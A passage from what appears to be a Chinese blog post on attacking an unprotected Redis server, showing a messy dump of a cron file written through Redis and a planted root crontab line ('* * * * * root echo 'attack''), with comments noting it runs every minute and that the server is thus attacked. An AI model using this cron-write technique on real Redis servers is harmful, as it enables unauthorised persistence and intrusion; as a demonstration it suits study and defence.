  4. ages(-2name_4value_45name_1value_18name_3value_31name_2value_28name_3value_33name_0value_02name_0value_01name_3value_37namesyunyun4ÿname_1value_17name_0value_04name_1value_10name_1value_19name_0value_03ninfo77-name29namyunjisuan08name_0value_05name_3value_34
  5. agelocation
  6. beijingÿname_4value_40name_0value_06name_0value_07name_1value_13name_2value_25name_4value_41name_3value_38name_3value_36name_2value_20name_4value_42name_4value_48name_1value_15name_4value_46name_0value_09name_1value_11name_3value_35name_1value_16name_4value_47name_2value_27name_4value_43
  7. name_{linevalue_50NAMEtestname_5value_50name_2value_22name_2value_24name_3value_32name_3value_30name_4value_44attack!
  8. * * * * * root echo 'attack' #这里出现了这条定时任务,这条任务每分钟都会被触发
  9. name_4value_49name_3value_39name_1value_14name_2value_23namebenetname_1value_12name_2value_26
  10. 您在/var/spool/mail/root 中有新邮件
  11. [root@Redis01 ~]# XshellXshellXshellXshellXshell
  12. #然后你的redis服务器就会被攻击了。

image_1cvtom1at1p9keq11gbari7dojo.png-126.4kB

posted @ 2019-07-24 15:20  L1n  阅读(580)  评论(0编辑  收藏  举报